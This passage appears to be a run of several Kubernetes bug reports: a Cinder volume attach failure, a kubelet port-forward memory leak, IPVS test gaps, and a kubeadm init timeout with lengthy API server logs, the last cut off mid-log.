kubernetes.io/cinder/62b6e5e2-5c8e-49a7-9cd2-8cd50cce9755\   pod \ jenkins-7dc87b4d7-8xx9r\   uid: \ b37eef3a-bea0-11e7-a05c-fa163e9494e3\  \r oct 31 18:05:39 dev-kube-node-1 kubelet 1604 : i1031 18:05:39.117133    1604 operation_generator.go:416  mountvolume.waitforattach entering for volume \ jenkins-home\   uniquename: \ kubernetes.io/cinder/62b6e5e2-5c8e-49a7-9cd2-8cd50cce9755\   pod \ jenkins-7dc87b4d7-8xx9r\   uid: \ b37eef3a-bea0-11e7-a05c-fa163e9494e3\   devicepath \ /dev/sdc\ \r oct 31 18:05:40 dev-kube-node-1 kubelet 1604 : w1031 18:05:40.489312    1604 openstack_volumes.go:353  failed to find device for the volumeid: \ 62b6e5e2-5c8e-49a7-9cd2-8cd50cce9755\ \r oct 31 18:05:40 dev-kube-node-1 kubelet 1604 : e1031 18:05:40.489752    1604 attacher.go:258  error: could not findattached cinder disk \ 62b6e5e2-5c8e-49a7-9cd2-8cd50cce9755\   path: \ \  : <nil>\r    \r \r   what you expected to happen  :\r \r i expect the volume to be successfully mounted onto pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r here is the yaml to reproduce the error.\r \r    \r ---\r kind: storageclass\r apiversion: storage.k8s.io/v1\r metadata:\r   name: default\r   annotations:\r     storageclass.beta.kubernetes.io/is-default-class: \ true\ \r provisioner: kubernetes.io/cinder\r ---\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: my-pvc\r   namespace: jenkins-ci\r   annotations:\r     volume.beta.kubernetes.io/storage-class: default\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 30gi\r ---\r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   name: jenkins\r   namespace: jenkins-ci\r   labels:\r     app: master\r spec:\r   replicas: 1\r   template:\r     metadata:\r       name: jenkins\r       labels:\r         app: master\r       annotations:\r         description: deploy jenkins cluster to kubernetes\r         iconclass: icon-jenkins\r         tags: master\r     spec:\r       imagepullsecrets:\r       - name: quay\r       containers:\r       - name: jenkins\r         imagepullpolicy: ifnotpresent\r         image: jenkins:latest\r         ports:\r         - containerport: 8080\r         - containerport: 50000\r         volumemounts:\r         - mountpath: /var/jenkins_home\r           name: jenkins-home\r         resources:\r           limits:\r             cpu: 500m\r             memory: 1500mi\r           requests:\r             cpu: 500m\r             memory: 1500mi\r       volumes:\r         - name: jenkins-home\r           persistentvolumeclaim:\r             claimname: my-pvc\r    \r \r   anything else we need to know?  :\r \r the volume that got attached to the node was under \ /dev/sdc\ ,\r \r cinder show\r \r    \r |         attachments          |  {u'server_id': u'6585331a-8966-4da6-a1d8-d9db7404d7cb', u'attachment_id': u'c223f0ae-1c1b-41a1-a235-c6735c0db2c0', u'attached_at': u'2017-11-01t01:49:24.000000', u'host_name': none, u'volume_id': u'74227497-f2f7-4ded-bbf8-a1b436f2485a', u'device': u'/dev/sdc', u'id': u'74227497-f2f7-4ded-bbf8-a1b436f2485a'}  |\r    \r \r  but the following dint show that,\r \r    \r ls -la /dev/disk/by-id/\r total 0\r drwxr-xr-x 2 root root 200 oct 31 17:55 .\r drwxr-xr-x 5 root root 100 oct 31 17:54 ..\r lrwxrwxrwx 1 root root  10 oct 31 20:47 dm-name-docker-8:2-658812-3f64525017c3871dda047b54920d114bf639a87b3ea380e5506baeaf92b94896 -> ../../dm-7\r lrwxrwxrwx 1 root root  10 oct 31 20:47 dm-name-docker-8:2-658812-420a9697ac59cbd4c631d9463b83c294adfc843fa75bb2449276f62a0dc8ae01 -> ../../dm-3\r lrwxrwxrwx 1 root root  10 oct 31 20:47 dm-name-docker-8:2-658812-54f9cebafd44d7b78c0077a4952fb0dfecc03d0d26e183eed89c13302d57743d -> ../../dm-9\r lrwxrwxrwx 1 root root  10 oct 31 20:47 dm-name-docker-8:2-658812-df4f20c20c77e5590c7ca293cd7ea2154e0ab8dca178d2daece0e4d79ec19b14 -> ../../dm-5\r lrwxrwxrwx 1 root root  10 oct 31 20:47 dm-name-docker-8:2-658812-e98d8169b884f9d1891a23978c911146100c71aa2ce5720d7a7088f71cbba906 -> ../../dm-8\r lrwxrwxrwx 1 root root  10 oct 31 20:47 dm-name-docker-8:2-658812-ee2531fd86867838f1590ab5ad8463977105275eb4f47a8071086d55e2dfe1cc -> ../../dm-4\r lrwxrwxrwx 1 root root  10 oct 31 20:47 dm-name-docker-8:2-658812-fd912473fd55e019143326c3459c8a242d062bdb6d3c76ecc9b7238c9d938e94 -> ../../dm-6\r lrwxrwxrwx 1 root root   9 oct 31 20:47 lvm-pv-uuid-lq7xwq-ci49-ratx-yqwi-jvuz-q1ll-jkpw4j -> ../../sdb\r    \r \r rescan-scsi-bus dint reveal new device.\r \r    \r rescan-scsi-bus.sh\r scanning scsi subsystem for new devices\r scanning host 0 for  scsi target ids  0 1 2 3 4 5 6 7, all luns\r scanning host 1 for  scsi target ids  0 1 2 3 4 5 6 7, all luns\r scanning host 2 for  scsi target ids  0 1 2 3 4 5 6 7, all luns\r  scanning for device 2 0 0 0 ...\r old: host: scsi2 channel: 00 id: 00 lun: 00\r       vendor: vmware   model: virtual disk     rev: 1.0\r       type:   direct-access                    ansi scsi revision: 02\r  scanning for device 2 0 1 0 ...\r old: host: scsi2 channel: 00 id: 01 lun: 00\r       vendor: vmware   model: virtual disk     rev: 1.0\r       type:   direct-access                    ansi scsi revision: 02\r  scanning for device 2 0 2 0 ...\r old: host: scsi2 channel: 00 id: 02 lun: 00\r       vendor: vmware   model: virtual disk     rev: 1.0\r       type:   direct-access                    ansi scsi revision: 02\r 0 new or changed device s  found.\r 0 remapped or resized device s  found.\r 0 device s  removed.\r    \r \r by-path was pointing to \ /dev/sdc\  as i expect,\r \r    \r ls -l /dev/disk/by-path/\r total 0\r lrwxrwxrwx 1 root root  9 oct 31 21:04 pci-0000:00:10.0-scsi-0:0:0:0 -> ../../sda\r lrwxrwxrwx 1 root root 10 oct 31 21:04 pci-0000:00:10.0-scsi-0:0:0:0-part1 -> ../../sda1\r lrwxrwxrwx 1 root root 10 oct 31 21:04 pci-0000:00:10.0-scsi-0:0:0:0-part2 -> ../../sda2\r lrwxrwxrwx 1 root root  9 oct 31 21:04 pci-0000:00:10.0-scsi-0:0:1:0 -> ../../sdb\r lrwxrwxrwx 1 root root  9 oct 31 21:04 pci-0000:00:10.0-scsi-0:0:2:0 -> ../../sdc\r    \r \r    \r udevadm info -q all -n /dev/sdc | grep devpath\r e: devpath=/devices/pci0000:00/0000:00:10.0/host2/target2:0:2/2:0:2:0/block/sdc\r root@dev-kube-node-1:~ \r root@dev-kube-node-1:~ \r root@dev-kube-node-1:~ \r root@dev-kube-node-1:~  udevadm info -q all -n /dev/sdc\r p: /devices/pci0000:00/0000:00:10.0/host2/target2:0:2/2:0:2:0/block/sdc\r n: sdc\r s: disk/by-path/pci-0000:00:10.0-scsi-0:0:2:0\r e: devlinks=/dev/disk/by-path/pci-0000:00:10.0-scsi-0:0:2:0\r e: devname=/dev/sdc\r e: devpath=/devices/pci0000:00/0000:00:10.0/host2/target2:0:2/2:0:2:0/block/sdc\r e: devtype=disk\r e: id_bus=scsi\r e: id_model=virtual_disk\r e: id_model_enc=virtual\\x20disk\\x20\\x20\\x20\\x20\r e: id_path=pci-0000:00:10.0-scsi-0:0:2:0\r e: id_path_tag=pci-0000_00_10_0-scsi-0_0_2_0\r e: id_revision=1.0\r e: id_scsi=1\r e: id_type=disk\r e: id_vendor=vmware\r e: id_vendor_enc=vmware\\x20\\x20\r e: major=8\r e: minor=32\r e: subsystem=block\r e: tags=:systemd:\r e: usec_initialized=688900211\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:27:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1+coreos.0\ , gitcommit:\ 59359d9fdce74738ac9a672d2f31e9a346c5cece\ , gittreestate:\ clean\ , builddate:\ 2017-10-12t21:53:13z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r    \r cat /etc/kubernetes/cloud_config\r \r  global \r auth-url=\ https://example.com:5000/v2.0\ \r username=\ xxxxx\ \r password=\ xxxxx\ \r region=\ nova\ \r tenant-id=\ xxxxx\ \r domain-id=\ default\ \r    \r - os  e.g. from /etc/os-release : \r \r    \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r \r - kernel  e.g.  uname -a  :\r    \r uname -a\r linux dev-kube-node-1 4.4.0-72-generic  93-ubuntu smp fri mar 31 14:07:41 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r when opening port-forward requests to a pod, kubelet memory usage increases without releasing it again when the port-forward is stopped.\r \r   what you expected to happen  :\r kubelet should cleanup the port-forward when it is closed\r \r   how to reproduce it  as minimally and precisely as possible   :\r using the following script i can observe an increase in kubelet memory usage on the node where the pod runs:\r \r    bash\r for i in {8000..8300}; do\r kubectl port-forward anypod $i:8080 &; sleep 0.2;\r done\r \r ...\r killall kubectl\r    \r 300 connections allocates roughly 30mb by kubelet\r \r we first noticed this on the node where tiller  helm  runs. the node regularly runs out of memory because of the kubelet memory usage. see also https://github.com/kubernetes/helm/issues/3121 we don't experience the helm issue on all clusters, but i can reproduce the memory leak with the above script on all clusters.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t19:59:01z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.11\ , gitcommit:\ b13f2fd682d56eab7a6a2b5a1cab1a3d2c8bdd55\ , gittreestate:\ clean\ , builddate:\ 2017-11-25t17:51:39z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : debian jessie\r - kernel  e.g.  uname -a  :  linux 4.4.102-k8s  1 smp sun nov 26 23:32:43 utc 2017 x86_64 gnu/linux \r - install tools: kops 1.8.0\r - others:\r \r

is this a bug report or feature request?  :\r  \r ipvs only has one test currently in oss ci and that test has been failing in the bootstrapping stage for quite a while. \r \r https://k8s-testgrid.appspot.com/sig-network-gce kubeadm-gce-ipvs\r \r not only does this test need to be fixed, but more tests need to be added before ipvs can go ga.\r \r -  x  fix kubeadm test\r -  x  run sig-network tests\r -  x  run ingress tests\r -     test against network policy\r \r most likely,  59402 is a prerequisite for this work.\r \r  /area ipvs\r \r \r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r  kubeadm init --pod-network-cidr=10.244.0.0/16     fails with message:\r \r  unfortunately, an error has occurred:\r timed out waiting for the condition\r  \r \r   what you expected to happen  :\r cluster to be initialized\r   how to reproduce it  as minimally and precisely as possible   :\r kubeadm init --pod-network-cidr=10.244.0.0/16\r \r   anything else we need to know?  :\r \r swap is off\r \r docker version\r  root@amoraru6:/home/user  docker info | grep -i version\r server version: 17.03.2-ce\r  \r   environment  :\r - kubernetes version  use  kubectl version  :\r  root@amoraru6:/home/user  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r the connection to the server localhost:8080 was refused - did you specify the right host or port? \r - cloud provider or hardware configuration:\r ec2\r - os  e.g. from /etc/os-release :\r  root@amoraru6:/home/user  cat /etc/debian_version\r 9.4 \r - kernel  e.g.  uname -a  :\r  root@amoraru6:/home/user  uname -a\r linux amoraru6.mylabserver.com 4.9.0-6-amd64  1 smp debian 4.9.88-1+deb9u1  2018-05-07  x86_64 gnu/linux \r - install tools:\r installed docker-ce, kubeadm, kubectl and kubelet according to https://kubernetes.io/docs/setup/independent/install-kubeadm/\r - others:\r i noticed that api server container is re-created once in a minute and here are the logs from it:\r \r  root@amoraru6:/home/user  docker logs -f k8s_kube-apiserver_kube-apiserver-amoraru6.mylabserver.com_kube-system_b5277ba610b6b6a77e70d61371dc2fee_15\r flag --insecure-port has been deprecated, this flag will be removed in a future version.\r flag --admission-control has been deprecated, use --enable-admission-plugins or --disable-admission-plugins instead. will be removed in a future version.\r i0514 12:47:17.471884       1 server.go:135  version: v1.10.2\r i0514 12:47:17.472153       1 server.go:724  external host was not specified, using 172.31.114.153\r i0514 12:47:28.117443       1 plugins.go:149  loaded 9 admission controller s  successfully in the following order: namespacelifecycle,limitranger,serviceaccount,noderestriction,defaulttolerationseconds,defaultstorageclass,mutatingadmissionwebhook,validatingadmissionwebhook,resourcequota.\r i0514 12:47:28.118334       1 plugins.go:149  loaded 9 admission controller s  successfully in the following order: namespacelifecycle,limitranger,serviceaccount,noderestriction,defaulttolerationseconds,defaultstorageclass,mutatingadmissionwebhook,validatingadmissionwebhook,resourcequota.\r i0514 12:47:28.322988       1 master.go:228  using reconciler: master-count\r w0514 12:47:29.836173       1 genericapiserver.go:342  skipping api batch/v2alpha1 because it has no resources.\r w0514 12:47:30.124451       1 genericapiserver.go:342  skipping api rbac.authorization.k8s.io/v1alpha1 because it has no resources.\r w0514 12:47:30.163180       1 genericapiserver.go:342  skipping api storage.k8s.io/v1alpha1 because it has no resources.\r w0514 12:47:30.284665       1 genericapiserver.go:342  skipping api admissionregistration.k8s.io/v1alpha1 because it has no resources.\r  restful  2018/05/14 12:47:30 log.go:33:  restful/swagger  listing is available at https://172.31.114.153:6443/swaggerapi\r  restful  2018/05/14 12:47:30 log.go:33:  restful/swagger  https://172.31.114.153:6443/swaggerui/ is mapped to folder /swagger-ui/\r  restful  2018/05/14 12:47:56 log.go:33:  restful/swagger  listing is available at https://172.31.114.153:6443/swaggerapi\r  restful  2018/05/14 12:47:56 log.go:33:  restful/swagger  https://172.31.114.153:6443/swaggerui/ is mapped to folder /swagger-ui/\r i0514 12:47:56.719085       1 plugins.go:149  loaded 9 admission controller s  successfully in the following order: namespacelifecycle,limitranger,serviceaccount,noderestriction,defaulttolerationseconds,defaultstorageclass,mutatingadmissionwebhook,validatingadmissionwebhook,resourcequota.\r i0514 12:48:51.759876       1 serve.go:96  serving securely on  :: :6443\r i0514 12:48:51.802499       1 logs.go:49  http: tls handshake error from 172.31.114.153:48366: eof\r i0514 12:48:51.802808       1 crd_finalizer.go:242  starting crdfinalizer\r i0514 12:48:51.802842       1 crd_finalizer.go:246  shutting down crdfinalizer\r i0514 12:48:51.803379       1 apiservice_controller.go:90  starting apiserviceregistrationcontroller\r i0514 12:48:51.803424       1 cache.go:32  waiting for caches to sync for apiserviceregistrationcontroller controller\r e0514 12:48:51.803452       1 cache.go:35  unable to sync caches for apiserviceregistrationcontroller controller\r i0514 12:48:51.803472       1 apiservice_controller.go:94  shutting down apiserviceregistrationcontroller\r i0514 12:48:51.840493       1 available_controller.go:262  starting availableconditioncontroller\r i0514 12:48:51.840589       1 cache.go:32  waiting for caches to sync for availableconditioncontroller controller\r e0514 12:48:51.840626       1 cache.go:35  unable to sync caches for availableconditioncontroller controller\r i0514 12:48:51.840649       1 available_controller.go:266  shutting down availableconditioncontroller\r i0514 12:48:51.840677       1 controller.go:84  starting openapi aggregationcontroller\r i0514 12:48:51.840697       1 controller.go:90  shutting down openapi aggregationcontroller\r i0514 12:48:51.925208       1 logs.go:49  http: tls handshake error from 172.31.114.153:45394: eof\r i0514 12:48:51.965542       1 logs.go:49  http: tls handshake error from 172.31.114.153:45396: eof\r i0514 12:48:52.088308       1 logs.go:49  http: tls handshake error from 172.31.114.153:45400: eof\r i0514 12:48:52.128881       1 logs.go:49  http: tls handshake error from 172.31.114.153:45402: eof\r i0514 12:48:52.170112       1 logs.go:49  http: tls handshake error from 172.31.114.153:45404: eof\r i0514 12:48:52.211356       1 logs.go:49  http: tls handshake error from 172.31.114.153:45406: eof\r i0514 12:48:52.331668       1 logs.go:49  http: tls handshake error from 172.31.114.153:45410: eof\r i0514 12:48:52.374543       1 logs.go:49  http: tls handshake error from 172.31.114.153:45412: eof\r i0514 12:48:52.415167       1 logs.go:49  http: tls handshake error from 172.31.114.153:45414: eof\r i0514 12:48:52.459770       1 logs.go:49  http: tls handshake error from 172.31.114.153:45416: eof\r i0514 12:48:52.578449       1 logs.go:49  http: tls handshake error from 172.31.114.153:45420: eof\r i0514 12:48:52.619325       1 logs.go:49  http: tls handshake error from 172.31.114.153:45424: eof\r i0514 12:48:52.660479       1 logs.go:49  http: tls handshake error from 172.31.114.153:45426: eof\r i0514 12:48:52.701227       1 logs.go:49  http: tls handshake error from 172.31.114.153:45428: eof\r i0514 12:48:52.741936       1 logs.go:49  http: tls handshake error from 172.31.114.153:45450: eof\r i0514 12:48:52.783212       1 logs.go:49  http: tls handshake error from 172.31.114.153:45452: eof\r i0514 12:48:52.823939       1 logs.go:49  http: tls handshake error from 172.31.114.153:45454: eof\r i0514 12:48:52.868551       1 logs.go:49  http: tls handshake error from 172.31.114.153:45462: eof\r i0514 12:48:52.951329       1 logs.go:49  http: tls handshake error from 172.31.114.153:45478: eof\r i0514 12:48:52.991779       1 logs.go:49  http: tls handshake error from 172.31.114.153:45480: eof\r i0514 12:48:53.032400       1 logs.go:49  http: tls handshake error from 172.31.114.153:45508: eof\r i0514 12:48:53.113587       1 logs.go:49  http: tls handshake error from 172.31.114.153:45512: eof\r i0514 12:48:53.198639       1 logs.go:49  http: tls handshake error from 172.31.114.153:45528: eof\r i0514 12:48:53.279832       1 logs.go:49  http: tls handshake error from 172.31.114.153:45618: eof\r i0514 12:48:53.320181       1 logs.go:49  http: tls handshake error from 172.31.114.153:45856: eof\r i0514 12:48:53.360792       1 logs.go:49  http: tls handshake error from 172.31.114.153:45950: eof\r i0514 12:48:53.401485       1 logs.go:49  http: tls handshake error from 172.31.114.153:45952: eof\r i0514 12:48:53.524633       1 logs.go:49  http: tls handshake error from 172.31.114.153:45956: eof\r i0514 12:48:53.565246       1 logs.go:49  http: tls handshake error from 172.31.114.153:45960: eof\r i0514 12:48:53.606294       1 logs.go:49  http: tls handshake error from 172.31.114.153:45962: eof\r i0514 12:48:53.647206       1 logs.go:49  http: tls handshake error from 172.31.114.153:45964: eof\r i0514 12:48:53.687886       1 logs.go:49  http: tls handshake error from 172.31.114.153:45966: eof\r i0514 12:48:53.733850       1 logs.go:49  http: tls handshake error from 172.31.114.153:45968: eof\r i0514 12:48:53.815004       1 logs.go:49  http: tls handshake error from 172.31.114.153:45970: eof\r i0514 12:48:53.896877       1 logs.go:49  http: tls handshake error from 172.31.114.153:45974: eof\r i0514 12:48:53.978338       1 logs.go:49  http: tls handshake error from 172.31.114.153:45980: eof\r i0514 12:48:54.018450       1 logs.go:49  http: tls handshake error from 172.31.114.153:46100: eof\r i0514 12:48:54.063137       1 logs.go:49  http: tls handshake error from 172.31.114.153:46132: eof\r i0514 12:48:54.182200       1 logs.go:49  http: tls handshake error from 172.31.114.153:46354: eof\r i0514 12:48:54.222905       1 logs.go:49  http: tls handshake error from 172.31.114.153:46356: eof\r i0514 12:48:54.264161       1 logs.go:49  http: tls handshake error from 172.31.114.153:46382: eof\r i0514 12:48:54.304718       1 logs.go:49  http: tls handshake error from 172.31.114.153:46384: eof\r i0514 12:48:54.345503       1 logs.go:49  http: tls handshake error from 172.31.114.153:46386: eof\r i0514 12:48:54.386207       1 logs.go:49  http: tls handshake error from 172.31.114.153:46388: eof\r i0514 12:48:54.431889       1 logs.go:49  http: tls handshake error from 172.31.114.153:46390: eof\r i0514 12:48:54.472544       1 logs.go:49  http: tls handshake error from 172.31.114.153:46406: eof\r i0514 12:48:54.513341       1 logs.go:49  http: tls handshake error from 172.31.114.153:46408: eof\r i0514 12:48:54.632720       1 logs.go:49  http: tls handshake error from 172.31.114.153:46412: eof\r i0514 12:48:54.636434       1 logs.go:49  http: tls handshake error from 172.31.114.153:46468: eof\r i0514 12:48:54.714653       1 logs.go:49  http: tls handshake error from 172.31.114.153:46470: eof\r i0514 12:48:54.755592       1 logs.go:49  http: tls handshake error from 172.31.114.153:46500: eof\r i0514 12:48:54.800952       1 logs.go:49  http: tls handshake error from 172.31.114.153:46712: eof\r i0514 12:48:54.841702       1 logs.go:49  http: tls handshake error from 172.31.114.153:46748: eof\r i0514 12:48:54.882133       1 logs.go:49  http: tls handshake error from 172.31.114.153:46750: eof\r i0514 12:48:54.922749       1 logs.go:49  http: tls handshake error from 172.31.114.153:46878: eof\r i0514 12:48:55.044222       1 logs.go:49  http: tls handshake error from 172.31.114.153:46882: eof\r i0514 12:48:55.085607       1 logs.go:49  http: tls handshake error from 172.31.114.153:46884: eof\r i0514 12:48:55.126622       1 logs.go:49  http: tls handshake error from 172.31.114.153:46886: eof\r i0514 12:48:55.171503       1 logs.go:49  http: tls handshake error from 172.31.114.153:46888: eof\r i0514 12:48:55.212054       1 logs.go:49  http: tls handshake error from 172.31.114.153:46890: eof\r i0514 12:48:55.252557       1 logs.go:49  http: tls handshake error from 172.31.114.153:46892: eof\r i0514 12:48:55.293746       1 logs.go:49  http: tls handshake error from 172.31.114.153:46894: eof\r i0514 12:48:55.334390       1 logs.go:49  http: tls handshake error from 172.31.114.153:46896: eof\r i0514 12:48:55.374968       1 logs.go:49  http: tls handshake error from 172.31.114.153:46898: eof\r i0514 12:48:55.415572       1 logs.go:49  http: tls handshake error from 172.31.114.153:46900: eof\r i0514 12:48:55.456106       1 logs.go:49  http: tls handshake error from 172.31.114.153:46902: eof\r i0514 12:48:55.501086       1 logs.go:49  http: tls handshake error from 172.31.114.153:46908: eof\r i0514 12:48:55.537663       1 logs.go:49  http: tls handshake error from 172.31.114.153:47156: eof\r i0514 12:48:55.582024       1 logs.go:49  http: tls handshake error from 172.31.114.153:47318: eof\r i0514 12:48:55.622940       1 logs.go:49  http: tls handshake error from 172.31.114.153:47320: eof\r i0514 12:48:55.664495       1 logs.go:49  http: tls handshake error from 172.31.114.153:47324: eof\r i0514 12:48:55.704778       1 logs.go:49  http: tls handshake error from 172.31.114.153:47326: eof\r i0514 12:48:55.745635       1 logs.go:49  http: tls handshake error from 172.31.114.153:47328: eof\r i0514 12:48:55.864138       1 logs.go:49  http: tls handshake error from 172.31.114.153:47332: eof\r i0514 12:48:55.904929       1 logs.go:49  http: tls handshake error from 172.31.114.153:47334: eof\r i0514 12:48:55.950348       1 logs.go:49  http: tls handshake error from 172.31.114.153:47350: eof\r i0514 12:48:55.990885       1 logs.go:49  http: tls handshake error from 172.31.114.153:47352: eof\r i0514 12:48:56.034130       1 logs.go:49  http: tls handshake error from 172.31.114.153:47368: eof\r i0514 12:48:56.115455       1 logs.go:49  http: tls handshake error from 172.31.114.153:47392: eof\r i0514 12:48:56.156434       1 logs.go:49  http: tls handshake error from 172.31.114.153:47396: eof\r i0514 12:48:56.196797       1 logs.go:49  http: tls handshake error from 172.31.114.153:47440: eof\r i0514 12:48:56.237749       1 logs.go:49  http: tls handshake error from 172.31.114.153:47570: eof\r i0514 12:48:56.277908       1 logs.go:49  http: tls handshake error from 172.31.114.153:47742: eof\r i0514 12:48:56.363443       1 logs.go:49  http: tls handshake error from 172.31.114.153:47822: eof\r i0514 12:48:56.403952       1 logs.go:49  http: tls handshake error from 172.31.114.153:47824: eof\r i0514 12:48:56.444335       1 logs.go:49  http: tls handshake error from 172.31.114.153:47826: eof\r i0514 12:48:56.485547       1 logs.go:49  http: tls handshake error from 172.31.114.153:47828: eof\r i0514 12:48:56.526175       1 logs.go:49  http: tls handshake error from 172.31.114.153:47830: eof\r i0514 12:48:56.567028       1 logs.go:49  http: tls handshake error from 172.31.114.153:47832: eof\r i0514 12:48:56.607440       1 logs.go:49  http: tls handshake error from 172.31.114.153:47834: eof\r i0514 12:48:56.688406       1 logs.go:49  http: tls handshake error from 172.31.114.153:47836: eof\r i0514 12:48:56.774087       1 logs.go:49  http: tls handshake error from 172.31.114.153:47842: eof\r i0514 12:48:56.814780       1 logs.go:49  http: tls handshake error from 172.31.114.153:47858: eof\r i0514 12:48:56.855478       1 logs.go:49  http: tls handshake error from 172.31.114.153:47860: eof\r i0514 12:48:56.896186       1 logs.go:49  http: tls handshake error from 172.31.114.153:47880: eof\r i0514 12:48:56.936906       1 logs.go:49  http: tls handshake error from 172.31.114.153:47974: eof\r i0514 12:48:57.014982       1 logs.go:49  http: tls handshake error from 172.31.114.153:48010: eof\r i0514 12:48:57.058456       1 logs.go:49  http: tls handshake error from 172.31.114.153:48154: eof\r i0514 12:48:57.182485       1 logs.go:49  http: tls handshake error from 172.31.114.153:48268: eof\r i0514 12:48:57.223125       1 logs.go:49  http: tls handshake error from 172.31.114.153:48270: eof\r i0514 12:48:57.263902       1 logs.go:49  http: tls handshake error from 172.31.114.153:48272: eof\r i0514 12:48:57.304548       1 logs.go:49  http: tls handshake error from 172.31.114.153:48274: eof\r i0514 12:48:57.346258       1 logs.go:49  http: tls handshake error from 172.31.114.153:48290: eof\r i0514 12:48:57.391595       1 logs.go:49  http: tls handshake error from 172.31.114.153:48292: eof\r i0514 12:48:57.432529       1 logs.go:49  http: tls handshake error from 172.31.114.153:48294: eof\r i0514 12:48:57.473041       1 logs.go:49  http: tls handshake error from 172.31.114.153:48296: eof\r i0514 12:48:57.514015       1 logs.go:49  http: tls handshake error from 172.31.114.153:48298: eof\r i0514 12:48:57.554376       1 logs.go:49  http: tls handshake error from 172.31.114.153:48300: eof\r i0514 12:48:57.594958       1 logs.go:49  http: tls handshake error from 172.31.114.153:48328: eof\r i0514 12:48:57.632501       1 serve.go:136  stopped listening on  :: :6443\r i0514 12:48:57.675202       1 logs.go:49  http: tls handshake error from 172.31.114.153:48434: eof\r i0514 12:48:57.675287       1 customresource_discovery_controller.go:174  starting discoverycontroller\r e0514 12:48:57.675327       1 customresource_discovery_controller.go:177  timed out waiting for caches to sync\r i0514 12:48:57.675349       1 customresource_discovery_controller.go:178  shutting down discoverycontroller\r i0514 12:48:57.675401       1 naming_controller.go:276  starting namingconditioncontroller\r i0514 12:48:57.675427       1 naming_controller.go:280  shutting down namingconditioncontroller\r i0514 12:48:57.715991       1 crdregistration_controller.go:110  starting crd-autoregister controller\r i0514 12:48:57.716071       1 controller_utils.go:1019  waiting for caches to sync for crd-autoregister controller\r e0514 12:48:57.716103       1 controller_utils.go:1022  unable to sync caches for crd-autoregister controller\r i0514 12:48:57.716126       1 crdregistration_controller.go:115  shutting down crd-autoregister controller\r i0514 12:48:57.760011       1 logs.go:49  http: tls handshake error from 172.31.114.153:45392: eof\r i0514 12:48:57.799061       1 logs.go:49  http: tls handshake error from 172.31.114.153:45398: eof\r i0514 12:48:57.799485       1 logs.go:49  http: tls handshake error from 172.31.114.153:45408: eof\r i0514 12:48:57.800333       1 logs.go:49  http: tls handshake error from 172.31.114.153:45418: eof\r i0514 12:48:57.839634       1 logs.go:49  http: tls handshake error from 172.31.114.153:45476: eof\r i0514 12:48:57.840497       1 logs.go:49  http: tls handshake error from 172.31.114.153:45510: eof\r i0514 12:48:57.842307       1 logs.go:49  http: tls handshake error from 172.31.114.153:45526: eof\r i0514 12:48:57.842465       1 logs.go:49  http: tls handshake error from 172.31.114.153:45558: eof\r i0514 12:48:57.881119       1 logs.go:49  http: tls handshake error from 172.31.114.153:45954: eof\r i0514 12:48:57.883945       1 logs.go:49  http: tls handshake error from 172.31.114.153:45972: eof\r i0514 12:48:57.922982       1 logs.go:49  http: tls handshake error from 172.31.114.153:45976: eof\r i0514 12:48:57.923755       1 logs.go:49  http: tls handshake error from 172.31.114.153:46316: eof\r i0514 12:48:57.961526       1 logs.go:49  http: tls handshake error from 172.31.114.153:46410: eof\r i0514 12:48:57.962384       1 logs.go:49  http: tls handshake error from 172.31.114.153:46880: eof\r i0514 12:48:57.962728       1 logs.go:49  http: tls handshake error from 172.31.114.153:47330: eof\r i0514 12:48:57.963213       1 logs.go:49  http: tls handshake error from 172.31.114.153:47370: eof\r i0514 12:48:57.964257       1 logs.go:49  http: tls handshake error from 172.31.114.153:47820: eof\r i0514 12:48:58.004206       1 logs.go:49  http: tls handshake error from 172.31.114.153:47838: eof\r i0514 12:48:58.004674       1 logs.go:49  http: tls handshake error from 